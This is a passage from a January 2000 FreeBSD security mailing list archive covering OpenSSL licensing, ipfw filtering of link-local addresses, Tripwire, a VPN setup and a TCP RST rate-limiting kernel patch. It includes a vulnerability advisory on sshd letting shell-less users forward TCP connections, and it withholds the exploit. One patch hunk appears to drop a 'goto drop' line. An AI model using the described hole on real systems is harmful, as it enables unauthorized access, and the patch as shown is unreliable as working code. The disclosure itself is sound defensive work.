it's ready since SGML is currently not among my abilities :-) Thanks, Kris ---- As of FreeBSD 4.0, the OpenSSL toolkit is a part of the base system. OpenSSL [http://www.openssl.org] provides a general-purpose cryptography library, as well as the Secure Sockets Layer v2/v3 (SSLv2/SSLv3) and Transport Layer Security v1 (TLSv1) network security protocols. However, some of the algorithms (specifically, RSA and IDEA) included in OpenSSL are protected by patents in the USA and elsewhere and are not available for unrestricted use. In addition, export of cryptographic code from the USA has (until recently) been heavily restricted. As a result, FreeBSD has available three different versions of OpenSSL depending on geographical location (US/non-US) and compliance with the RSAREF license (see below). RSA is a useful algorithm which is required for a lot of third-party software which uses OpenSSL (as well as for the SSLv2 protocol), so you should enable it if at all possible. See below for more information. SOURCE-CODE INSTALLATIONS INTERNATIONAL (NON-US) USERS: People who are located outside the USA, and who obtain their crypto sources from internat.freebsd.org (the International Crypto Repository), will build a version of OpenSSL which includes RSA, but does not include IDEA, because the latter is restricted in certain locations elsewhere in the world. In the future a more flexible identification system may allow building of IDEA in countries for which it is not restricted. US USERS: As noted above, RSA is patented in the US, with terms preventing general use without an appropriate license. Therefore the OpenSSL RSA code may not be used in the US, and has been removed from the version of OpenSSL carried on US mirror sites. The RSA patent is due to expire on September 20, 2000, at which time it is intended to add the "full" RSA code back to the US version of OpenSSL. However (and fortunately), the RSA patent holder (RSA Security, [http://www.rsasecurity.com]) has provided a "RSA reference implementation" toolkit ("RSAREF") which is available for *certain classes of use*, including "non-commercial use" (see the RSAREF license [XXX - We should put this on the website too since I can't find an external URL for it] for the definition of "non-commercial"). If you meet the conditions of the RSAREF license and wish to build your OpenSSL sources with RSAREF support, you must first install the rsaref port in /usr/ports/security/rsaref before (re)building OpenSSL (e.g. by 'make world'). Please obtain legal advice if you are unsure of your compliance with the license terms. IDEA code is also removed from the US version of OpenSSL for patent reasons. BINARY INSTALLATIONS If your FreeBSD installation was a binary installation (e.g. installed from CDROM, or from a snapshot downloaded from ftp.freebsd.org) and you selected to install the 'crypto' module, then you will have the non-RSA capable US version of the OpenSSL code (see above). If you wish to install another version (US RSAREF, or International) you will need to obtain and install one of the following packages: * OpenSSL package with RSAREF support for US users (NOTE: Be sure to read the license before installing! This is NOT licensed for general-purpose use!) ftp://ftp.freebsd.org/XXX * OpenSSL package for International (non-US) users. This is not legal for use in the US, but international users should use this one because the RSA implementation is faster and more flexible. ftp://internat.freebsd.org/XXX ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 1:26:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 8F7E415092 for ; Tue, 25 Jan 2000 01:26:29 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id BAA70323; Tue, 25 Jan 2000 01:26:26 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001250926.BAA70323@gndrsh.dnsmgr.net> Subject: Re: more complete ipfw rules In-Reply-To: <4.1.20000124201245.00962220@mail.thegrid.net> from The Mad Scientist at "Jan 24, 2000 08:51:27 pm" To: madscientist@thegrid.net (The Mad Scientist) Date: Tue, 25 Jan 2000 01:26:26 -0800 (PST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ... > I have this commented-out line in my ruleset. > #$fwcmd add 550 deny log ip from 169.254.0.0/16 to any in via ${out_if} > Don't quite remember what it's for. I hope it's not another wasted class > B. Can anyone enlighten me? It is another wasted class B, it is not in any global bgp4 view I can find, and disallowed as either src or dst on many a border router. I seem to recall some of either the Microsoft or Novell software uses them on a local network to run strange protocols over IP that don't need to be global routed, but can't find any reference notes to them here. > watchtower:/root# whois -a 169.254.0.0 > Internet Assigned Numbers Authority (IANA) > (NETBLK-LINKLOCAL) > For use with Link Local Networks > Information Sciences Institute > University of Southern California > 4676 Admiralty Way, Suite 330 > Marina del Rey, CA 90292-6695 > > Netname: LINKLOCAL > Netblock: 169.254.0.0 - 169.254.255.255 ... You chopped off the important detail: Domain System inverse mapping provided by: BLACKHOLE.ISI.EDU 128.9.64.26 Generally IP that you find with this as the name server should have just that done to them at bondaries between AS's, both as a source and destination address! -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 2: 4:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from imaging.rug.ac.be (imaging.rug.ac.be [157.193.133.14]) by hub.freebsd.org (Postfix) with ESMTP id 9DB4014E64 for ; Tue, 25 Jan 2000 02:04:20 -0800 (PST) (envelope-from Tony.Voet@rug.ac.be) Received: from rug.ac.be (tvoet.mri [157.193.90.71]) by imaging.rug.ac.be (8.9.3/8.9.3) with ESMTP id LAA10942; Tue, 25 Jan 2000 11:05:33 +0100 (CET) (envelope-from Tony.Voet@rug.ac.be) Message-ID: <388D7516.C4EB676@rug.ac.be> Date: Tue, 25 Jan 2000 11:04:06 +0100 From: Tony Voet Organization: Gent University - Radiology X-Mailer: Mozilla 4.61 [en] (X11; I; SunOS 4.1.3_U1 sun4m) X-Accept-Language: nl, en, fr, de MIME-Version: 1.0 To: The Mad Scientist Cc: freebsd-security@FreeBSD.ORG Subject: Re: more complete ipfw rules References: <4.1.20000124201245.00962220@mail.thegrid.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The Mad Scientist wrote: > > I have this commented-out line in my ruleset. > #$fwcmd add 550 deny log ip from 169.254.0.0/16 to any in via ${out_if} > Don't quite remember what it's for. I hope it's not another wasted class > B. Can anyone enlighten me? This IETF draft answers your question: http://www.ietf.org/internet-drafts/draft-manning-dsua-01.txt tv To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 2:30:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from vulcan.alphanet.ch (sitebco-home-5-17.urbanet.ch [194.38.85.209]) by hub.freebsd.org (Postfix) with ESMTP id 9E8021510E for ; Tue, 25 Jan 2000 02:30:20 -0800 (PST) (envelope-from schaefer@alphanet.ch) Received: from localhost (schaefer@localhost) by vulcan.alphanet.ch (8.9.3/8.9.3) with ESMTP id LAA14509; Tue, 25 Jan 2000 11:30:11 +0100 Date: Tue, 25 Jan 2000 11:30:11 +0100 (MET) From: Marc SCHAEFER To: linux-leman-annonces@alphanet.ch, security@freebsd.org, security@redhat.com, security@ssh.org, security@suse.de, security@openbsd.org Subject: sshd and pop/ftponly users incorrect configuration Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org NAME sshd-restricted-users-incorrect-configuration AUTHOR Marc SCHAEFER Andreas Trottmann THANKS OpenBSD security team VERSION $Id: sshd-restricted-users-incorrect-configuration,v 1.2 2000/01/25 10:27:56 schaefer Exp $ ABSTRACT In some cases where a system must be configured so that specific users only have access to POP or FTP (or a specific restricted shell, e.g. a BBS or lynx menu), the addition of the SSH protocol server (sshd) may create a security hole. The user, if they try to access the server per telnet succeed, but they are immediately thrown out (because their shell is /bin/false, e.g.), or a special restricted shell runs (e.g. they can change their passwd, etc). In that case, using sshd may create a subtle security hole allowing those users to, like normal users, use the SSH protocol to issue TCP connections coming from the attacked host. IMPACT Any remote user with an account on the machine, even without real shell access, may open a TCP connection which will: - appear to be open from root@localhost (in the IDENT identd protocol) - be able to connect to any services which are not firewalled on the loopback (even if they are firewalled or tcp_wrapper tcpd protected from the outside). - be able to connect to any remote machine from the attacked host, the connection appearing to come from the attacked host with a wrong IDENT (see above). IMMUNE CONFIGURATIONS You are immune to this problem if one (or more) of the following is true: - the group(s) where those users belong to is listed in /etc/ssh/sshd_config or equivalent configuration file as DenyGroups group1 group2 # etc (this is the recommended setup) - no user which has an account hasn't a shell (he will be able to do the above, except the root@ IDENT, anyway, if he has a shell) - your POP or FTP users do not authentify against the system password database (/etc/{passwd|shadow}), but against a private database and the user is locked in the system password database (passwd -l). - you only allow RSA authentification, and the users cannot modify their ~/.ssh from e.g. FTP. - you do not run sshd. Have TcpAllowForwarding to no in the configuration file doesn't seem to work, since it only denies -R style forwarding. OPERATING SYSTEMS UNIX FIX - There is no fix for the root@ IDENT bug for legitimate user. This is presumably a bug in ssh-1.2.27 and OpenSSH 1.2.1 and earlier releases: sshd should not do the forwarding as root but as the user. Note that it has not been investigated if this could create other problems. This bug is a long-standing known bug, and also is due to the fact IDENT information was never supposed to be trusted anyway. - Put all ftponly and poponly users in specially identified groups with DenyGroups ftponly poponly This will fix the open-port-from-no-shell-user - Or lock the user in the system password database and use a special database for FTP and POP. EXPLOIT Please do not request exploit from the listed authors. Requests for exploits will be ignored. A working exploit exists and has been tested on current Linux distributions. It is possible that an exploit be posted some time in the future (or that someone reads this and does it by himself ...). NOTES This advisory is for information only. No warranty either expressed or implied. Full disclosure and dissemination are allowed as long as this advisory is published in full. No responsability will be taken from abuse or lack of use of the information in this advisory. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 3: 8:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 30A9E14F74 for ; Tue, 25 Jan 2000 03:08:16 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 29795 invoked from network); 25 Jan 2000 11:06:49 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 25 Jan 2000 11:06:49 -0000 To: security@freebsd.org Subject: restricting which ports a user can forward in ssh (was Re: sshd and pop/ftponly users incorrect configuration) From: sen_ml@eccosys.com In-Reply-To: References: X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000125200850Q.1000@eccosys.com> Date: Tue, 25 Jan 2000 20:08:50 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 19 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org this may not be directly related, but since the topic is similar... i have suggested in the past on the ssh and openssh-unix-dev mailing lists whether it might be useful to be able to restrict which ports a given user can forward. it is clear that for this to be useful, you would need to prevent shell access by users. if the functionality did exist, to set this up you'd set up authorized_key files for each user (or create a dummy account w/ an authorized_key file) and put an appropriate command="..." option in for each key. i have not found this functionality in any of the ssh daemons -- is there a patch out there to do this? not having ever received a response about this idea, i begin to wonder whether it is completely useless ;-) it seems like it would not be all that hard to implement... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 4:48:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 3E8BE14E5A for ; Tue, 25 Jan 2000 04:48:26 -0800 (PST) (envelope-from mike@sentex.net) Received: from granite.sentex.net (granite-atm.sentex.ca [209.112.4.1]) by vinyl.sentex.ca (8.9.3/8.9.3) with ESMTP id HAA31051; Tue, 25 Jan 2000 07:48:25 -0500 (EST) (envelope-from mike@sentex.net) Received: from chimp (ospf-mdt.sentex.net [205.211.164.81]) by granite.sentex.net (8.8.8/8.6.9) with ESMTP id HAA25321; Tue, 25 Jan 2000 07:48:24 -0500 (EST) Message-Id: <4.2.2.20000125074438.00ade400@mail.sentex.net> X-Sender: mdtancsa@mail.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 07:46:57 -0500 To: "Rodney W. Grimes" From: Mike Tancsa Subject: Re: more complete ipfw rules Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001250926.BAA70323@gndrsh.dnsmgr.net> References: <4.1.20000124201245.00962220@mail.thegrid.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:26 AM 1/25/2000 -0800, Rodney W. Grimes wrote: >... > > > I have this commented-out line in my ruleset. > > #$fwcmd add 550 deny log ip from 169.254.0.0/16 to any in via ${out_if} > > Don't quite remember what it's for. I hope it's not another wasted class > > B. Can anyone enlighten me? > >It is another wasted class B, it is not in any global bgp4 view I can >find, and disallowed as either src or dst on many a border router. If you are going to filter this space, be sure to watch what ARIN does, as 64.0.0.0/8 used to be a candidate for filters as well, but is now being allocated by them. ---Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 7:58:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id D2DEB15234; Tue, 25 Jan 2000 07:58:29 -0800 (PST) (envelope-from nik@nothing-going-on.demon.co.uk) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) id PAA07636; Tue, 25 Jan 2000 15:30:52 GMT (envelope-from nik) Date: Tue, 25 Jan 2000 15:30:51 +0000 From: Nik Clayton To: Kris Kennaway Cc: current@freebsd.org, security@freebsd.org Subject: Re: OpenSSL docs for FAQ Message-ID: <20000125153051.A6364@catkin.nothing-going-on.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Kris Kennaway on Tue, Jan 25, 2000 at 12:49:04AM -0800 Organization: FreeBSD Project Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 25, 2000 at 12:49:04AM -0800, Kris Kennaway wrote: > Can people please review this for style and content, for inclusion in > the FAQ? I'll also need someone to mark it up once it's ready since SGML > is currently not among my abilities :-) Is this FAQ material, or better off in the installation section of the Handbook? I'd veer towards the Handbook myself. I can't speak to the veracity of the content, but I can mark it up for the Handbook as necessary. N -- If you want to imagine the future, imagine a tennis shoe stamping on a penguin's face forever. --- with apologies to George Orwell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 8:19:47 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id BA27E14EB3; Tue, 25 Jan 2000 08:19:08 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id AB60B1CD699; Tue, 25 Jan 2000 08:19:08 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Tue, 25 Jan 2000 08:19:08 -0800 (PST) From: Kris Kennaway To: Nik Clayton Cc: current@freebsd.org, security@freebsd.org Subject: Re: OpenSSL docs for FAQ In-Reply-To: <20000125153051.A6364@catkin.nothing-going-on.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 25 Jan 2000, Nik Clayton wrote: > Is this FAQ material, or better off in the installation section of the > Handbook? I'd veer towards the Handbook myself. Seemed like a potential Frequently Asked Question to me, is all. I defer to your superior knowledge of our documentation standards :-) > I can't speak to the veracity of the content, but I can mark it up for > the Handbook as necessary. Thanks! :) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 8:37:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 6C60314EB8 for ; Tue, 25 Jan 2000 08:37:24 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA06320 for ; Tue, 25 Jan 2000 09:37:23 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA04226 for ; Tue, 25 Jan 2000 09:37:09 -0700 (MST) Message-Id: <200001251637.JAA04226@harmony.village.org> To: security@freebsd.org Subject: Merged patches Date: Tue, 25 Jan 2000 09:37:09 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK. I've very lightly tested the following patch. It combines what appears to be the best of all the patches floating around. It does two things. First, it is more agressive about discarding packets that are from broadcast addresses. Second, it ties rate limiting of RST packets to ICMP_BANDLIM. Likely not the best name, but we can work that out later. It doesn't try to optimize the tcp_input path more than this. I judged it too risky this close to a release. Please let me know what you think of this patch and what testing reveals. Make sure that you have an options ICMP_BANDLIM in your kernel and that you have it enabled before reporting problems with this patch. I'm thinking seriously of removing the ICMP_BANDLIM option as an option (eg compile the code in no matter what), but raising the limit from 100 to 1000 or something like that so it won't normally impact people, but those desiring to harden their servers can drift the number downward. Comment? Warner Index: netinet/tcp_input.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/sys/netinet/tcp_input.c,v retrieving revision 1.103 diff -u -r1.103 tcp_input.c --- netinet/tcp_input.c 2000/01/15 14:56:35 1.103 +++ netinet/tcp_input.c 2000/01/25 16:31:14 @@ -615,10 +615,6 @@ break; } } -#ifdef ICMP_BANDLIM - if (badport_bandlim(1) < 0) - goto drop; -#endif if (blackhole) { switch (blackhole) { case 1: @@ -631,11 +627,11 @@ goto drop; } } - goto dropwithreset; + goto maybedropwithreset; } tp = intotcpcb(inp); if (tp == 0) - goto dropwithreset; + goto maybedropwithreset; if (tp->t_state == TCPS_CLOSED) goto drop; @@ -695,7 +691,7 @@ */ if (thflags & TH_ACK) { tcpstat.tcps_badsyn++; - goto dropwithreset; + goto maybedropwithreset; } goto drop; } @@ -772,7 +768,7 @@ */ if (thflags & TH_ACK) { tcpstat.tcps_badsyn++; - goto dropwithreset; + goto maybedropwithreset; } goto drop; } @@ -999,7 +995,7 @@ if (thflags & TH_RST) goto drop; if (thflags & TH_ACK) - goto dropwithreset; + goto maybedropwithreset; if ((thflags & TH_SYN) == 0) goto drop; if (th->th_dport == th->th_sport) { @@ -1017,17 +1013,22 @@ * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN * in_broadcast() should never return true on a received * packet with M_BCAST not set. + * + * Packets with a multicast source address should also + * be discarded. */ if (m->m_flags & (M_BCAST|M_MCAST)) goto drop; #ifdef INET6 if (isipv6) { - if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) + if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || + IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif - if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) - goto drop; + if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || + IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || + IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) #ifdef INET6 if (isipv6) { MALLOC(sin6, struct sockaddr_in6 *, sizeof *sin6, @@ -1187,7 +1188,7 @@ if ((thflags & TH_ACK) && (SEQ_LEQ(th->th_ack, tp->snd_una) || SEQ_GT(th->th_ack, tp->snd_max))) - goto dropwithreset; + goto maybedropwithreset; break; /* @@ -1529,7 +1530,7 @@ * for the "LAND" DoS attack. */ if (tp->t_state == TCPS_SYN_RECEIVED && SEQ_LT(th->th_seq, tp->irs)) - goto dropwithreset; + goto maybedropwithreset; todrop = tp->rcv_nxt - th->th_seq; if (todrop > 0) { @@ -2192,7 +2193,7 @@ if (tp->t_state == TCPS_SYN_RECEIVED && (thflags & TH_ACK) && (SEQ_GT(tp->snd_una, th->th_ack) || SEQ_GT(th->th_ack, tp->snd_max)) ) - goto dropwithreset; + goto maybedropwithreset; #ifdef TCPDEBUG if (so->so_options & SO_DEBUG) tcp_trace(TA_DROP, ostate, tp, (void *)tcp_saveipgen, @@ -2203,6 +2204,17 @@ (void) tcp_output(tp); return; + + /* + * Conditionally drop with reset or just drop depending on whether + * we think we are under attack or not. + */ +maybedropwithreset: +#ifdef ICMP_BANDLIM + if (badport_bandlim(1) < 0) + goto drop; +#endif + /* fall through */ dropwithreset: #ifdef TCP_RESTRICT_RST if (restrict_rst) @@ -2217,11 +2229,14 @@ goto drop; #ifdef INET6 if (isipv6) { - if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) + if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || + IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif /* INET6 */ - if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) + if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || + IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || + IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; /* IPv6 anycast check is done at tcp6_input() */ #ifdef TCPDEBUG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9: 0:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from altair.origenbio.com (altair.origenbio.com [216.30.62.130]) by hub.freebsd.org (Postfix) with ESMTP id 4FFA415741 for ; Tue, 25 Jan 2000 09:00:04 -0800 (PST) (envelope-from dmartin@origen.com) Received: from origen.com (dubhe.origen [192.168.0.5]) by altair.origenbio.com (8.9.3/8.9.3) with ESMTP id KAA72962 for ; Tue, 25 Jan 2000 10:59:50 -0600 (CST) (envelope-from dmartin@origen.com) Message-ID: <388DD63F.A28F831F@origen.com> Date: Tue, 25 Jan 2000 10:58:39 -0600 From: Richard Martin X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Tripwire dates Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Anyone know if there is a flag that needs to be set to allow Tripwire to pass the file date information into its report? I have used both the ports version and compiled it myself from COAST, but daily reports from both versions show a "(null)" entry like changed: -rw-r--r-- root 1351 (null) /etc/rc.conf changed: -rw-r--r-- root 9 (null) /etc/ntp/drift where the date should be. TW running on other platforms prints in the file date like changed: -rw-r--r-- root 16384 Jan 13 18:14:05 2000 /etc/aliases.db changed: -rw-r--r-- root 9 Jan 25 02:02:36 2000 /etc/ntp/drift which is helpful in determining legal file modifications. -- Richard Martin dmartin@origen.com OriGen Biomedical Tel: +1 512 474 7278 2525 Hartford Rd. Fax: +1 512 708 8522 Austin, TX 78703 http://www.cardiacdocs.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9: 9:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 2A3651526D for ; Tue, 25 Jan 2000 09:09:42 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA08657; Tue, 25 Jan 2000 10:09:33 -0700 (MST) Message-Id: <4.2.2.20000125095042.01a5aba0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 10:09:32 -0700 To: Warner Losh , security@FreeBSD.ORG From: Brett Glass Subject: Re: Merged patches In-Reply-To: <200001251637.JAA04226@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a very, VERY concervative patch. As such, it doesn't include rate limiting of RSTs independently of ICMP_BANDLIM (which is really a different beast -- on a router, you might NOT want to limit ICMP but want to limit bandwidth). The patch also does not prevent a non-SYN packet from matching a listening socket (this condition is caught later, but piecemeal with many individual tests; the coverage isn't comprehensive). And it does not shield the entire TCP stack from sending or receiving multicast packets -- just this path. It's still possible to emit a TCP packet with a multicast source or destination address after this patch. The source addresses of packets are still tested to see if they're muticast addresses in MANY places instead of in one place.... It seems to me that it pays to use a flag in the mbuf (as is done with B_CAST) to centralize the test. (A new flag called, say, SRC_B_CAST would do this. There's room in the flag word.) Also, in at least one place (maybe more), the code does multiple tests of the TCP option flags in succession. Several tests of this kind should generally be merged into a switch for speed (the many conditional jumps cause pipeline stalls on many processors, especially older ones) and readability. In short, I'd only go with this patch as-is if my purpose were to minimize the changes made before release. If this were the goal, I'd go back to the code immediately thereafter and try to tackle some of the inefficiencies and holes in this key input path more aggressively. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:10:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from lily.ezo.net (lily.ezo.net [206.102.130.13]) by hub.freebsd.org (Postfix) with ESMTP id DFC401503D for ; Tue, 25 Jan 2000 09:10:02 -0800 (PST) (envelope-from jflowers@ezo.net) Received: from lily.ezo.net (jflowers@localhost.ezo.net [127.0.0.1]) by lily.ezo.net (8.8.7/8.8.7) with SMTP id MAA24125; Tue, 25 Jan 2000 12:10:00 -0500 (EST) Date: Tue, 25 Jan 2000 12:10:00 -0500 (EST) From: Jim Flowers To: freebsd-security@freebsd.org Subject: Skip, Natd, Ipfw, and VPN Nomads (long) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Skip and natd can be combined in a single FreeBSD box using ipfw rules to control packet flow to natd in useful ways. Internal users can browse the Internet or access resources on multiple remote VPN segments. External clients can access internal servers through natd port redirects. Adding nomad capability complicates the setup and two FreeBSD boxes are required. A nomad is a client from anywhere on the Internet with an ephimeral IP# that is not known in advance. When packets from the nomad are first processed by skip the client is validated from its KeyID. The corresponding IP# is entered in the access control list. Unfortunately, it is not possible to use ipfw rules to differentiate between response packets outbound to the nomad and internal client query packets outbound to Internet servers. This is singularly important when the nomad is a Windows based host that is to join an internal NT domain. The logon server response packets must bypass natd or the logon attempt will fail with a "failed to find logon server" error report. Packets from internal clients browsing the Internet, on the other hand, must go through natd to obtain a routable return address. The skip procedure provides for such a differentiation as it maintains a table of all nomad IP numbers and will process those that match, passing on those that do not. The skip procedure, however, follows natd in the outbound direction so it is not sufficient for this duty. Thus the need for two boxes, the inner box configured with skip - the outer box configured with natd. Fortunately, skip packets will pass through the natd process without alteration in both directions in the outer box. For our wireless Internet connections, that is not a burden as the wi0 interface driver is not compatable with the skip procedure and a second box is necessary on that account alone. One added refinement. Once a Windows nomad is logged on to an NT domain, it can use network neighborhood to browse hosts on the local network segment. In order for the same capability to exist for remote network segments, the decoded inbound packets must be 'educated' before forwarding to the target host so that responses return to the skiphost that was used to validate the nomad. One way to do this is to use inbound natd so that the decoded packets have the source address changed to that of the skiphost before forwarding to the target host. In fact, I prefer this method when the skiphost is located on a perimeter network acting as a VPN bypass around the inside firewall interface (for secure packets only). For systems relying on natd for security, I use the more traditional natd approach (outbound interface) on the skiphost with specific ipfw rules to divert only those packets destined for a remote VPN network segment that both arrive and leave on the same interface. A diagram will help to make the above concepts clearer. ========================Internet | [wi0] | ipfw - divert(any) -> natd(wi0) | Gw/Nat route | ipfw | [ed1] | | ===============intermediate network | [ed1] | ipfw - divert(remote only) ->natd(ed1) | VAC/Nomads skip | route | ipfw | [ed2] | | | =================private network | | [PDC] route indicates kernel routing table PDC indicates primary domain controller for NT network. Gw/Nat - gateway/nat VAC/Nomads - VPN access controller / Nomad Server ACL - access control list natd/skip notes 1. for Gw/Nat, skip packets will pass through natd unchanged in both directions. 2. for VAC/Nomads, inbound skip packets will pass through natd unchanged to be unpacked by skip and forwarded as determined by route. 3. Packets received on the ed1 interface, directed to remote networks will be processed by skip in accordance with the destination ACL. 4. Packets generated by internal clients browsing the Internet will be passed up by skip (no acl match) to Gw/Nat for processing by natd (divert match any/any) Skip, natd and ipfw all operate reliably, consistently and repeatably once the relationships are understood and exploited properly. Jim Flowers #4 ISP on C|NET, #1 in Ohio To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:23:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 268E115153 for ; Tue, 25 Jan 2000 09:23:14 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id KAA06480; Tue, 25 Jan 2000 10:23:11 -0700 